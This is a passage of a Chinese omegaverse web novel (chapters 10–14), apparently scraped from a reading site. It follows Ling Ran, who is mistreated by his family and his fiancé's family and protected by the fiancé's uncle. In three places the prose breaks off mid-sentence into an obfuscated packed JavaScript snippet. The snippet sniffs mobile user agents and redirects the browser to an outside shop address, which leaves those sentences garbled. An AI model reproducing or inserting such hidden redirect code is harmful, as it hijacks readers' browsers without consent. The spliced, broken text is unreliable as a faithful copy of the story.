脑海中想到江盛译和尹楚亲密无间的画面,凌然便觉胸口更加闷得难受。 他说道:“哥哥,我没有和别的alpha鬼混,是……” 凌溯异常恼怒,忽然扬手便狠狠甩了他一个耳光。 白皙细腻的脸颊上顿时映出一个红红的掌印,凌然偏过头去,手中的袋子都被扇的掉在了地上。 “你还敢顶嘴?爸妈现在不在国内,让我一定要好生管教你,你几天几夜不回家不说,我说你一句你还敢有好几句等着,我看你是知道自己要嫁进江家了,也觉得以后翅膀硬了,可以不听家里的话了,是不是?!” 凌然脸颊火辣辣的疼着,可这些都不如他心口万分之一的疼痛。 家族里所有人都只是把他当成联姻的工具罢了,他不是早就知道的吗。 那现在还在伤心些什么呢。 就算是江之屿送自己回来的,那又怎么样。 就算江盛译真的出轨了,那又怎么样。 凌家所有人就算是硬逼着他,也会让他跟江盛译如期完婚。 没人会关心的问他一句,是不是身体不舒服,是不是生病了。 眼眶酸涩的厉害,凌然捡起地上的药袋,默不作声地走上楼。 凌溯还在背后骂骂咧咧,指着凌然的背影把他说的一无是处,等他上楼之后,就直接一个电话打到海外跟父母告状去了。 凌然扑倒在自己的大床上,脑袋深深埋进被褥间。 他摸了摸自己已经微微红肿起来的脸颊,正在隐隐发着烫,他闭上眼睛,眼泪便顺着眼角无声滚落下来。 没关系的,没关系的。 他在心里默默的想,不要再哭了,很没出息的。 没一会,微信忽然弹出来条消息。 凌然擦了擦泪眼,摸过来手机一看,竟然是江之屿发来的。 【小叔】:吃药了么 凌然泪眼朦胧地从床上爬起来,从药袋子里把几盒药全都拿出来,按照徐医生的嘱托挨个吃完了,然后才赶紧回消息。 【不吃葡萄】:吃了的 【不吃葡萄】:乖巧.gif 【小叔】:拍照我看看 凌然又将自己刚才拆开的药盒拍了张照片,乖乖给对面发了过去。 那边再没了动静,凌然这才稍稍松了口气。 他像完成任务一样的刚准备继续趴回床上,却忽然又收到条消息。 【小叔】:我说脚环 凌然:“!” 11.第 11 章 江氏总部集团会议。 江盛译才刚汇报完这次东南亚项目的相关情况,其他几个部门经理先后向他表示了祝贺,只有端坐在会议桌尽头的人迟迟没有表态。 “这次江氏进军东南亚,首要就是先扩展知名度,把江氏的旗号先打出去,所以这次的投资额方面我打算追加两个点,主要用于在当地的宣传铺广,最好是找到那边有知名度的明星进行代言合作。”江盛译补充道。 经理甲频频点头,他原本就是江之松手下的人,坐到集团总部的位置后,自然也会凡事都帮着二房。 “盛译总说的有道理,我认为投资额追加两到三个点都是必要成本,这点我无条件同意。” 经理乙丙丁也觉有理,也纷纷举手表示赞同。 江盛译扬起个颇为得意的笑,看来这次合作案必将成为他人生中浓墨重彩的一笔,他要一步步将江氏的海外市场独吞,就先从东南亚市场开始。 江之屿一直在把玩中手机,长指捏住漆黑屏幕转了转,眸底暗沉,不知道在想些什么。 一旁的秘书见会议室所有人正目光如炬的盯着江总,而江总竟然还有闲心看手机? 这时候,黑色的屏幕又忽然亮了下,是有条微信消息进来了。 秘书大着胆子往江总手机上瞄了眼,顿时傻楞在了原地。 【小葡萄】:照片.jpg 从秘书的角度看过去并瞧不真切,只能看得见那是一截细细白白的脚腕,踝关节处甚至还泛着淡淡的粉色,嫩生生水灵灵的,让人真想在上面抓一把。 而那截脚腕上带着一圈细环,黑色金属质感,与白嫩的肌肤形成了鲜明的反差,颇有种打破清纯的诱惑。 秘书:“!” 这是什么小众的play吗?! 没人告诉她他们江总表面上起来矜贵禁欲,私底下玩得这么花啊! 而且现在可是集团会议! 【小葡萄】:带着了。 江之屿微微勾了下唇角,没有回复,将手机反扣在了桌面上,这才有些懒怠的挑起眼尾,压迫性十足的望向站在屏幕前的人。 “盛译总这次合作案办得确实不错,集团理应给分公司些奖励,但是追加投资,我不同意。” 此话一出,原本举手赞同的经理乙丙丁赶紧放下了手,集体倒戈。 “我刚才也觉得有些不合适,这才是第一次合作,张口就是追加两个点的投资,实在有些多了吧。”经理乙道。 “是啊,这个案子本身盈利就没有很多,还要花费这么多成本,有点不值当的。”经理丙附和道。 “我觉得两位说的有道理,追加投资的事情,还是请分公司那边再出具更加详细的数据支撑吧,否则我们这边可能没办法支持。”经理丁郑重其事道。 经理甲见三人都持反对意见,也顿时没了声音。 江盛译见状,知道江之屿这是在故意跟自己作对,冷笑道:“就依你们说的,我会让人回去再提供详细资料,只是到时候两个点可能也有些不够,我要至少五个点的成本追加。” 江之屿屈指在桌上敲了下,沉声道:“好。” 会议结束后,江之屿率先出了会议室,江盛译在背后喊了他一声“小叔”。 周围几人都装作没听见,连忙低着头快速撤退。 江之屿转过身来,目光冷沉的看他一眼。 “我说过,在公司不要这么叫。” 江盛译笑着走过来,故意跟他插科打诨:“知道了知道了,下次我一定注意,只是奶奶非让我当面问问你,明天就是祖爷爷的忌日了,你会回老宅吗?” 江盛译的祖爷爷,也就是江之屿的亲爷爷,老人家是一手创建起江氏的人,今年正好去世整整三十年。 届时忌日整个家族所有人都会到场,为仙去老人举行隆重而盛大的祭奠仪式。 江之屿没有说准话,只道:“看情况。” 江盛译望着他离去的背影,暗暗咬了咬牙,这人总是这样一副高高在上模样,像是世上所有人不过是在他脚下卑微匍匐的蝼蚁。 都是江家人,都是姓江,凭什么他就能端坐在众人之上的头一把交椅,而自己就必须处处小心看他脸色,听他命令过活? 江盛译心中不忿,掏出手机拨出去个电话。 * 凌然正趴在床上研究那个脚环抑制器,在接到江舟娱乐打来通知他下周去集团总部进行终面时,他还以为自己是听错了。 在跟对方再三确认是江舟娱乐新闻频道没错,凌然兴奋的不知道怎么办才好,挂了电话傻乎乎的抱着手机开心了半天。 他原本以为自己早就没戏了,没成想江舟的人力总竟然会亲自给他来电,盛情邀请他参加终面。 像是天上凭空掉下来个大馅饼,快要把凌然砸晕了。 他记起来自己要给江之屿还钱的事情,便先在网上搜了搜那个抑制器的价格。 屏幕上显示的六位数把他吓了一跳,再三确认自己没数错后面的零,凌然哭丧着脸,看了眼自己微信余额。 他问秦诚月借钱,可秦诚月也不过是个刚要毕业的学生,家里给的生活费也总是月光的,钱包里一样一穷二白。 凌然有些发愁,虽然家境优渥,但父母每月给他的生活费并不多,也只是恰好能够他日常开销罢了。 生病的事情他并不想跟家里人说,到时候恐怕又会引起轩然大波,或许还会再挨打,凌然吃了教训,决定自己赚钱治病。 他把余额里的几千块钱全都转给了江之屿,顺便发过去条消息。 【不吃葡萄】:非常抱歉,我现在只有这么多,剩下的我会尽快想办法还给您,非常感谢您。 他盯着手机屏幕看了好半晌,那边一直没有收款,也没有回复。 江盛译的电话忽然打了进来。 凌然犹豫了片刻,在电话快要挂断之际,还是接了起来。 “怎么接的这么慢,不是让你把我的铃声单独设置了吗,听见是我还不知道快点接?” 江盛译似乎火气很大,劈头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404915|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖脸的质问道。 凌然攥着手机,声音轻轻柔柔的:“我刚才没听到。” “你又在忙什么呢,天天也不知道干点正事,我不在的这几天你去看过奶奶没有,怎么奶奶整天念叨着想你,你也不知道老老实实在老人家跟前尽尽孝?” 凌然心生委屈,他经常去看望江奶奶不说,每次去还都会给老人家带些礼物营养品之类的,恐怕比江盛译都要有孝心的多。 “我去了的……” 江盛译没功夫听他辩解,直接打断他:“明天哪里都别去,我派人去接你。” 凌然毕竟是他名义上的未婚夫,且两人的婚礼也就快要举行,祖爷爷忌日这样的大事,凌然必须要在江家人面前露个脸才行。 至于凌然当日有没有别的安排,愿不愿意露面,这并不在江盛译考虑的范围内。 反正这个小Omega喜欢他喜欢的要命,他提什么要求,凌然都一定会答应。 可这次凌然却沉默了许久,并没有一口应承下来。 江盛译觉得有些奇怪,问道:“怎么,别告诉我你明天正好有事,有事也要推掉,你现在已经是半个江家人了,一切都要以江家的事情为先。” 凌然抱着电话,只是无声咬了咬唇肉。 “盛译,你跟尹楚,是不是早就认识了?” 江盛译有些愣怔,他仿佛没想到凌然会问出这个问题,难道,他是发现了什么? “是又怎么样?”江盛译理所当然道,“尹家跟江家是故交,明天祖爷爷的忌日,尹家人也会来一同祭奠,我和尹楚只不过是朋友,这有什么问题?” 凌然眼前渐渐笼罩上一层雾气:“仅仅是朋友而已吗?那你给电影学院捐赠演播室,其实也是因为尹楚,对不对?” 凌然也是后来才知道,原来尹楚也跟自己是校友,同是电影学院播音主持专业毕业的学生。 凌然当初会喜欢上江盛译,是因为江盛译给电影学院捐赠了一个专业的演播室,不比外面任何一家顶流媒体差。 彼时电影学院播音主持专业是不被重视的边缘学科,因为有了这个声势浩大的演播室,专业的学生们有了战斗激情,开始自己钻研主题跑现场跑采访写成演播稿,然后借着演播室搞成直播的形式播出去,没想到竟然会使得播音主持专业起死回生,报考的人数越来越多,录取分数也水涨船高。 现在播音主持专业已经成了电影学院的王牌专业。 凌然对江盛译又喜欢又敬佩,他一直以为江盛译是众人中有那个独到见解之人,这两年又受到命定之番信息素的影响,他自认为对江盛译情根深种。 可现在,抑制器一带在脚环上,他像是脱离了信息素的掌控,脑海清明。 江盛译还在说着:“凌然,你别把所有人都想的那么不堪好不好?你是怀疑尹楚跟我有一腿?你有什么证据吗?没有证据就别含血喷人,尹楚不是你这种人能随便污蔑的。” 凌然心口疼得骤然紧缩了下,他轻轻笑了。 他是哪种人? 12.第 12 章 汤俊傻了眼,看着江之屿护着这小Omega的样子,心中顿时泛起嘀咕。 难道还真被他猜对了,这是江之屿养在外面的小情人儿? 凌然不过愣了片刻,察觉到不远处的人群一直在盯着他们的方向,赶紧从江之屿怀中出来,稍微错开些位置,半张脸藏到了江之屿身后。 汤俊还在笑着,两手颇有些尴尬的收回口袋里:“原来是江总亲自回来了,前两天我还看见盛译总来着,跟他约了个饭,只是江总的时间好像不太好约,咱们总是碰不上面呢。” 江之屿今日没系领带,黑色衬衫领口不过慵懒松着,摄人气魄从高大强健的身躯隐隐散发出来,只是沉默站着,便能叫人忍不住想卑躬屈膝。 汤俊被一股莫名威亚震慑住,后背都有些直不起来。 他明明没闻到任何信息素的味道,可是却能感觉得到面前人的等级要比他高上许多。 江之屿总算开了口:“现在不就碰上了。” 汤俊干笑两声:“是啊哈哈,我刚才看这小朋友人生路不熟的,想给他带带路,不过他看着有点面生,不知道叫什么,是哪家的?” 躲在背后的人小声开口道:“我叫凌然。” 江之屿闻言,只是轻轻勾了下唇角。 汤俊皱眉想了想,忽然惊讶问道:“你是凌家那个小儿子是吧,跟盛译总订了婚的那个?想起来了想起来了,只是以前没机会见过,这不是巧了吗。” 凌然缩了缩脖子,哪里巧了。 “之屿,你也回来了,”尹楚绕开人群,面带微笑的朝着几人走过来,“盛译还跟我说你不一定有空赶回来。” 江之屿淡淡“嗯”了声。 在看见乖乖巧巧站在江之屿身后的小Omega后,尹楚娇美的脸庞上似乎闪过一瞬间的愣怔。 “我记得你就是凌然吧,”尹楚弯了弯眼眸,和善的对凌然道,“我们不是第一次见面了,我对你印象很深刻,刚才盛译问起你来着,他好像不知道你已经到了。” 凌然没在人群中看到江盛译,尹楚便上前来亲昵的拉住了他的手臂。 “盛译可能进里面了,你对这里不熟悉,我带你去找他吧。” 尹楚气质得体大方,美貌又温柔,说话的语气也像是这宅子的主人一般。 凌然被尹楚拉着往正堂方向走,想将自己手臂抽出来,又觉得当着这么多人的面不能如此没礼貌。 他匆匆回头看了眼江之屿,却见那道出众身影早已经被几人围住了。 只有汤俊一直在望着两人离去的背影出神。 那个嫩生生的小Omega居然会是江盛译的未婚夫,这也倒算了,察觉出江之屿对那小Omega非同寻常的态度,汤俊忽然觉得这事有点意思了。 * 凌然默默被尹楚拉着走,等到后面的人看不见时,尹楚便松开了他的手臂,忽然开口问道:“你跟之屿早就见过了?” 凌然对于他态度的转变有些摸不着头脑,尹楚难道不是跟盛译走的很近吗,怎么忽然又问起他和小叔来了。 “也没有很早。”凌然乖乖答道。 尹楚像是并不相信,追问道:“所以你跟他私下见过面?你们到底是什么关系?” 凌然蹙起眉头,他有些搞不明白尹楚究竟想干什么。 “江总是盛译的小叔,当然也就是我的小叔。”凌然看着他。 “除此之外,你们再没有别的关系了?” “没有……” 尹楚看他一副懂事乖巧的样子,不像是在撒谎,表情这才松动了些许,又冲他温和的笑了笑。 “我没有别的意思,只是你和盛译毕竟要结婚了,虽然之屿是家里的长辈,你也要懂得避嫌才是,这些道理不用我教你肯定都懂,就当是我给你的提醒吧。” 凌然点了点头。 两人一起迈进正堂,堂内空间开阔,布局严谨对称,正中间摆放着一张宽大的金丝楠木八仙桌,桌面光滑如镜,配以八把雕花太师椅,椅背高耸。两侧是博古架和实木雕刻鎏金书案,四处都摆放着价值连城的古董瓷器、玉器、书画等。 正堂的设计别具匠心,多以木质结构,门窗和天花板上均雕刻着精美图案,透过窗棂,能窥见屋后一方精心打理的内庭院,假山流水,亭台楼阁,别有洞天。 凌然紧紧抿着唇瓣,生怕自己会没出息的赞叹出声。 堂内多是长辈们在此聚集,有江家直系大房二房三房,还有各族旁系分支,再加上一些家族友人故交,熙熙攘攘,好不热闹。 尹楚游走在众人间如鱼得水,江家所有人他好像都很是相熟,跟几个长辈们笑着打了招呼,他好像并没有要将凌然介绍给其他人认识的意思。 拉着凌然躲开人群来到餐厅,尹楚才对凌然说道:“刚才盛译就在这里来着,这一会怎么又找不到人了,你在这里先等一下,喝点水歇一歇,我再去楼上找找。” 说完,尹楚便出了餐厅,转身上了实木楼梯。 凌然一个人都不认识,自己倒了杯水,两手捧着小口小口地喝着,有人来跟他说话他就礼貌乖巧的回答,没人说话他就继续小口喝水。 可是等了好一会,水都喝完了两杯,也没见着尹楚回来。 凌然有点想上厕所,可这正堂也大的像迷宫,他一时有些分不清方向。 出了餐厅转了个弯后,他不知道进了哪个厅堂内,周围一个人都没有了。 他有点害怕,想转身再回去,背后却不知何时忽然冒出个影子来。 一个苍白的有些病态的男人坐在轮椅上,一双眼睛深沉阴鸷,像个孤魂野鬼般,冷冰冰的盯着他看。 “啊——”凌然被吓得心脏差点骤停,捂着嘴巴后退两步,忍不住惊呼出声。 轮椅上的男人按动按钮,巨大的轮子转动几下,朝他更加逼近了几分。 那眼神在他身上来回打量,最后有些沙哑的嗓音出声道:“你是谁?” 凌然眼眸睁得圆溜溜的,望着面前的男人,见他会说话,便意识到他不是真的鬼魂。 “我,我叫,凌然……”Omega声音细细小小的,用力抠着自己手指,看起来很是惶恐不安。 男人按动轮椅,径直绕过他身旁,只冷冷扔下一句。 “快出去。” 随后身影便消失在了雕花木门之后。 凌然被吓了这么一跳之后,变得更加想上厕所了,他急匆匆从那个厅堂内绕出来,就听见江盛译的声音传了过来。 “凌然,我找了你半天,谁让你自己到处乱跑的?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13423409|141250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”江盛译有些恼怒,冲过来一把攥住了他手腕,凶恶道,“你刚才进了偏堂?” 凌然心道,偏堂应该就是他刚才碰见轮椅男人的地方。 “我不是故意的,我不认识这里的路……” 没等他说完,江盛译就打断他:“不认识你还敢进去?那是我二叔养病的地方,谁都不能随便进去打扰他,你怎么这么不知道分寸,到了别人家里也没有一点礼数的吗?” 凌然被他说得很是委屈,手腕用力从他掌心里挣脱出来。 “是你让人接我来这里的,可我来了之后一直没见到你,刚才是尹楚叫我在这里等,我等了好久,我只是想去洗……” 江盛译脸色骤然冷下来:“你是要怪到尹楚头上是吗?他是一番好意,怎么每次在你嘴里他都成了那个坏人?还有,奶奶前两天生病住院了,你现在恐怕还不知道吧?等祭奠结束之后赶紧去医院看看她老人家,替我好生照顾着点。” 凌然没有应声,捏紧了自己的袖口,眼眸清亮地看着面前的江盛译。 江盛译从未见过他的这种眼神,这个小Omega每次看见自己明明都会眼冒桃花,笑脸相迎的讨好他。 今天这是哪根筋搭错了? 凌然声音很轻,却一字一句道:“我会去医院看奶奶的,但不是因为你,而是因为奶奶对我真的很好。” “还有,”他在转身之前补充道,“我刚才看见尹楚好像是去找小叔了。” 说完,凌然头也不回的迈步离去,只留江盛译在背后有些目瞪口呆的望着他背影。 这个小Omega今天一定是搭错筋了。 还有,江之屿今天怎么也来了! 江盛译焦急万分,从正堂跑出去找尹楚了。 凌然又迷了路,不知道走到了哪里去,踏上了一条有点曲折的回廊。 他眼尾有点微微发红,不知是被生理反应憋得,还是被刚才江盛译的那番话激得。 他往前走了两步,看见前面有处拐角,刚闷头转过去,便脚步募地顿住,直接愣在了原地。 面前的长廊背光,墙上只留几处雕花石窗黯淡透进来冷白的光。 身穿黑色西装的男人站在一处石窗前,在幽深而晦涩的暗光中,修长指尖轻轻捏着一点猩红魅惑的火光,细长的香烟雾气缭绕,将一张冷矜俊美的脸隐隐藏匿在朦胧烟雾中。 那双狭长冷厉的眼眸也挑着望了过来,漆黑深邃的眸底望不出情绪,带着股极强的凛冽压迫感,没有任何阻隔的冲击向忽然闯入的人。 凌然双腿又有些发颤,可他分明带了脚环抑制器的。 江之屿远远冲他命令了声:“过来。” 凌然很想解释自己只是路过,可那道低沉醇厚的嗓音像是有蛊惑的魔力,他慢慢走了过去。 江之屿两指将烟掐灭,他没有烟瘾,只是偶尔会吸一支。 目光在面前小Omega细细弱弱的脚踝上睨了眼,空荡的裤管下仿佛细的没有影。 脑中滑过那张白嫩照片,他一手环住戳戳有余。 察觉到落在自己脚踝处的眼神,凌然立即主动汇报道:“我带了抑制器的。” “嗯。” 男人应了声,像是颇为满意,随后才开口问道:“这两天有没有发情?” 13.第 13 章 小omega目光渐渐垂下去,两片肉粉色的唇瓣也被轻轻咬住。 饱满漂亮的唇形仿佛生来就该被染上瑰丽诱人的色泽,圆润的唇珠小小一颗,摇摇欲坠似的在眼前晃。 江之屿眯了眯眼,才听见一道像是极为羞赧的嗓音小声开了口:“没有……” 凌然觉得自己耳根像是在火烧,耳边似乎幻听似的隐约出现外面众人的喧哗声. 而站在他面前的男人沉冷寂静,像座能笼罩住他的大山。 在这静谧无人之处跟身为自己长辈的人讨论有没有发情,这实在是个让凌然羞耻不已的话题。 他从未将如此隐私的事情讲给旁人听过,除了江之屿,更是没人见过他被汹涌可怖的热潮烧成一滩葡萄水的样子。 凌然转移话题道:“您还没有在微信中收款,是抑制器的钱。” 江之屿拿出手机看了眼,翻到下面,果然有几条未读消息来自【小葡萄】。 他每天消息太多太杂,什么人扑上来舔的都有,所以不常看。 “过期了,”修长指尖在屏幕上点了下,“两千一?” 凌然以为他是嫌钱少,忙掏出手机又把钱给他重新发了次,顺便卑微解释道:“不好意思,我现在只有这么多……” 这两千一还是他好不容易攒下来的小金库,挥泪割爱才全都给了出去。 江之屿在他还亮着的屏幕上看了眼,注意到他给自己的备注,【小叔】。 而他微信置顶的一个昵称却是【亲亲阿译】。 江之屿屈指,手机在指尖转了圈,没收。 凌然握紧手机补充道:“剩下的我会慢慢还的,只是请您再给我点时间,我就快要找到工作了。” 江之屿把手机揣回口袋:“找到了再还。” 凌然看向他的眼神有些变了,从满是敬畏惧怕,到现在多了点感激的意思。 他现在又觉得小叔好像也没有那么不近人情,他会送自己去医院检查身体,给自己买了抑制器,现在还宽限了自己还钱日期。 干净清澈的眼底绽出个明媚的笑来,语气乖的不可思议。 “谢谢小叔。” 凌然没打算继续逗留,他实在被尿憋得难受,面对着眼前的男人,他也只能硬着头皮询问:“我还想问一下,洗手间在哪里?” 江之屿掐着那根燃的只剩了半截的香烟,看着脸蛋有些涨红的小omega,唇角轻扯着扬了下。 “急么。” 凌然:“?í _ ì?” 怎么可能不急,不急的话还会瞎找到这里来吗。 他咬紧下唇,想找个地缝直接钻进去:“有,有点。” “那就是不急。” 江之屿下了定论,风轻云淡地从他身旁迈过。 凌然快要哭出来了,一手连忙拉住了他西装下摆,纤瘦的指关节带着淡淡粉色,攥紧的指尖却颤抖着发白。 “急的……” 见他用含着一汪温软春水的眸光毫不遮掩的望上来,江之屿这才加深了些笑意。 “小骗子。” 凌然:“呜。” 跟在江之屿身后,从长廊绕着穿行过去,进入到偌大的庭院深处,最终走到了一处曲水通廊旁。 里面看起来就是洗手间了,还有两人正站在外面的一片翠竹前边聊天边抽烟。 看见了江之屿后,那两人像是被惊吓住了,连忙把手中烟头掐了。 其中一人凌然认识,就是在外面对他很是冒犯的那个alpha汤俊。 “哟,江总。” “小叔。” 另一个打招呼的年轻人叫李蒙,是二房的表亲,江盛译姨母家的儿子,快三十了不学无术,整天跟他妈在江家晃荡,掏了不少二房好处回去填补自己家。 李蒙每次见了江之屿倒是随着江盛译的辈分规规矩矩喊一声小叔,实际两人年纪差不多。 江之屿面无波澜的看两人一眼,对身后人道:“去吧。” 凌然快速低着头进去,能感觉到竹林旁的两人目光一直落在他身上。 终于进了洗手间后,他才松了口气。 过了会,等他出去后,外面那片竹林前已经没了江之屿和汤俊的身影,只有李蒙还站在原地,像是在等他。 凌然才刚走近些,李蒙就把他上上下下打量了一圈。 “跟我走吧。” 他一边说着,一边领着凌然往正堂方向走。 若是前面没有人带路,凌然还真的找不到该怎么回去。 总算顺利回到正堂后,他跟李蒙道了谢。 人这时候差不多聚齐了,时间也快到正午,堂内长辈们已经纷纷朝着屋外走,准备一同前往后山陵墓进行祭奠仪式。 江盛译又不知道去了哪里,凌然没找到他人影,便随便上了辆车,跟随几个长辈们来到了后山。 山间空气清新,绿树环绕,茂密高耸的远衫林遮天蔽日,远离城市的纷扰喧嚣,宛若一片世外桃源。 一块巨大的无字碑静静立在山林间,众人皆垂首站在墓碑前,黑袍神父在低语祷告着。 凌然虽然从未见过这位江家的祖爷爷,可是整个江氏都是他老人家一手创办起来,凌然心中对他充满敬意,乖乖低着脑袋,也在默默替老人家祈福。 神父祷告完成后,众人便要一一上前,将每人手中事先派发的松树枝放在碑前,以示悼念。 人群走动起来后,凌然这才看见了不远处的前方,江盛译原来一直和尹楚站在一起。 他们两人正在说着什么,旁若无人的样子,尹楚还用手挡在脸颊边轻轻笑了下。 不知道的,还以为他们才是马上要结婚的一对恩爱新人呢。 凌然不知道自己心中是什么滋味,他没再看他们,拿着手中松树枝,顺着祭奠队伍慢慢向前移动着。 轮到他时,墓碑前的树枝已经堆成了小山一般,他把自己的那支也恭敬地放了上去,然后继续顺着队伍离开。 祭奠仪式结束后,头顶晴空已不知何时聚积起了大片乌云。 狂风渐起,风雨愈来。 林间路有些不好走,凌然正低头仔细走着,听见身后有人叫自己,回头一看,竟是江盛译的母亲蒋蓉莲。 蒋蓉莲是个四十多岁的Omega,保养得当,现在还风韵犹存,比江盛译的父亲江之松要小了近二十岁。 “凌然,我叫了你好几声你怎么都没听见,今天来了也不知道先跟长辈们打个招呼,我都不知道你也来了。”蒋蓉莲抱怨道。 凌然知道蒋蓉莲一向不太喜欢他,就只低着头向她和她身旁的人都问了好。 “伯母好,姨母好。” 凌然虽然只见过蒋姨母两次,却深刻的知道她比蒋蓉莲更加不好相处。 果不其然,蒋姨母有些鄙夷的瞧着他,说道:“凌家也不算什么小门小户,怎么一点礼貌规矩都不懂,今天老爷子的忌日,就打发了一个小孩来参加?” 凌然解释道:“我父母现在还在国外,一时之间赶不回来,哥哥姐姐也都碰巧有急事,所以就让我自己来了。” 蒋蓉莲把他从头到尾看了一遍,嫌弃的摇着头道:“盛译奶奶不是说了你现在太瘦,让你在结婚之前要吃胖点吗,你有没有听老人家劝告?” “我……” 凌然正准备开口,一阵山风骤然呼啸穿林而过,空荡的衣服下纤细的身板更显脆弱无辜。 蒋蓉莲皱眉:“你看你瘦成什么鬼样子了,不知道的还以为你平常在凌家吃不饱饭,就你这个小体格,以后怎么给盛译传宗接代,怎么给二房开枝散叶?你一个Omega难道不知道你嫁给盛译的用途是什么,就没有点自知之明?” 这话说的太过贬低Omega的价值,仿佛生为Omega,唯一的宿命就只剩下了给丈夫生孩子,繁衍后代。 凌然想,难道他是一个Omega,就没有了自己的人权? 为什么所有人都在叮嘱他身为Omega的使命和职责,他的存在,难道首先不是一个独立的个体吗? 他就非要未一点虚无缥缈的人类繁衍兴盛做出牺牲? 他不可以自私一点,只为了自己而活吗。 不等凌然回答,一旁的蒋姨母目光下移,在那截不小心被风吹起来的宽松裤腿上看了眼,目光就陡然变了。 她凑在蒋蓉莲耳旁,嘀嘀咕咕不知道说了什么。 只见蒋蓉莲眼神忽然间变得质疑嫌恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凌然疼得半晌没缓过来,垂着头缓缓吸了口气,凌乱发丝被拂过的微风吹起,林间忽然间变得静谧无声。 顷然间,头顶乌云像忽得被割开条口子,密密麻麻的雨点自半空砸落下来。 啪嗒 啪嗒 雨水顺着树林草木往下滴。 原本还在看热闹的众人被这忽如其来的大雨冲散,各家的保镖们在此刻纷纷举着伞上前,为各自家主撑伞遮雨。 凌然头发被雨水打湿了些许,他抬起一双雾蒙蒙的桃花眼,无声望了眼站在他身前的几人。 蒋蓉莲尚不解气,还想再上前来补几个巴掌,却被忽然赶来的江盛译一把拉住了。 “妈,别闹了,今天是来祭奠祖爷爷的,你这样失了礼数。” 蒋蓉莲见儿子居然是来阻拦自己的,怒视着他问道:“你难道也早就知道他身体有病?” 江盛译目光冷冰冰的,只是略略扫了眼还跌坐在泥土间的凌然:“我不知道。” 蒋蓉莲一把推开他:“那你就给我滚远点,他们凌家没有教养,那就我来好好管教管教他!” “伯母,您别动气,”尹楚忽然走了过来,替母子二人撑了伞,“这会儿雨慢慢大了,有什么事我们不如回去再说吧,先走吧。” 蒋蓉莲看见尹楚,气顿时消了大半:“也好,还是楚楚你懂得体贴长辈,你还是像小时候那样优秀又懂事,你们尹家最会教育后辈了,不像某些人。” 几人说着,便准备一起撑伞离开,似乎没人在意地上被雨浇透的那个瘦瘦小小的身影。 凌然看着江盛译替蒋蓉莲和尹楚撑着的大伞,而他像是被人丢弃进了最严寒的冰窖,浑身冷得彻骨。 他的衣服已经快被雨水浇透,两手也冻得止不住打颤,白皙的脖颈弯下,想要自己撑着身子从地上站起。 忽然间,劈天盖地砸下来的雨滴没了踪迹,取而代之的是骤雨争先恐后击打在厚重伞面的劈里啪啦声。 凌然抬头,一把顶奢的三十二骨黑伞遮挡在他头顶。 江之屿面色沉静,站在他身侧,手中的黑伞将他牢牢笼罩在内。 14.第 14 章 原本快速从凌然身侧掠过的众人顿时停住脚步,看戏似的看了看这边,再看看已经离去的蒋蓉莲几人。 这小Omega不是马上要嫁进二房家门的吗? 怎么二房不管,大房的江之屿反倒管起来了? 凌然抬眼望着望着,眼眶就渐渐酸涩难忍。 如果没人为他撑伞,那么他还可以默默从地上自己爬起来,淋着雨走下山。 可现在头顶出现了一把伞,为他挡住倾泻骤雨,他便忽然控制不住自己的眼泪。 他没出息的再次垂下头,眼泪和着雨滴落进冰冷泥土里,瘦小的身子像是在此处生根发了芽,靠自己的力量难以再支撑下去。 “之屿啊,怎么还不下山?”一道沉稳沧桑的嗓音忽然从耳侧传来。 尹老爷子坐在个简易轿子上,由两个身强力壮的保镖抬着下山,一侧还跟着个人专门为他撑伞。 尹家跟江家是从祖辈就交好的关系,江之屿见着尹老爷子也要卖几分薄面。 他轻轻颔首,对轿子上的老爷子打了个招呼:“尹叔。” 尹老爷子只是垂下眼皮,在他脚边快要缩成一团的小Omega身上扫了眼,便人精似的嗅出了几分不同寻常的意味。 “这是盛译的媳妇吧,刚才我听着是跟二房家里的闹了不愉快?”尹老爷子语重心长道,“今天毕竟是你爷爷的忌日,这么多外人都在,闹成这样谁脸上都不好看,你父亲行动不便没来后山,我刚才先让楚楚把二房的劝回去了,至于这个小的……” 一声闷雷惊过,雨声骤大。 凌然打了个寒颤,便听得头顶有道冷沉低醇的嗓音开了口。 “不过是家里小辈不懂事,”江之屿道,“劳尹叔烦心了。” 听他这样说,尹老爷子脸色似乎稍冷了下来,也没再多说什么,只道:“我与你父亲还有事要说,就先走了。” 等轿子离开后,凌然才用湿漉漉的手背擦了擦眼角的泪水。 头顶那道声音开口命令。 “起来。” 凌然脚下打滑,两腿颤巍巍的站了起来。 纤弱的Omega就那么湿漉漉的站在高大强健的enigma面前,湿透的衣服紧紧黏在雪白肌肤上,显得纤弱的身子更加委屈可怜。 江之屿提步走下山,凌然便识趣的一直紧紧跟在他身侧。 好在那把黑伞足够大,瘦小的Omega根本占不了多少地方。 赵钦早已经开了车门在林子外等着,两人一前一后上了车。 车门关上后,凌然才觉得这一幕如此熟悉。 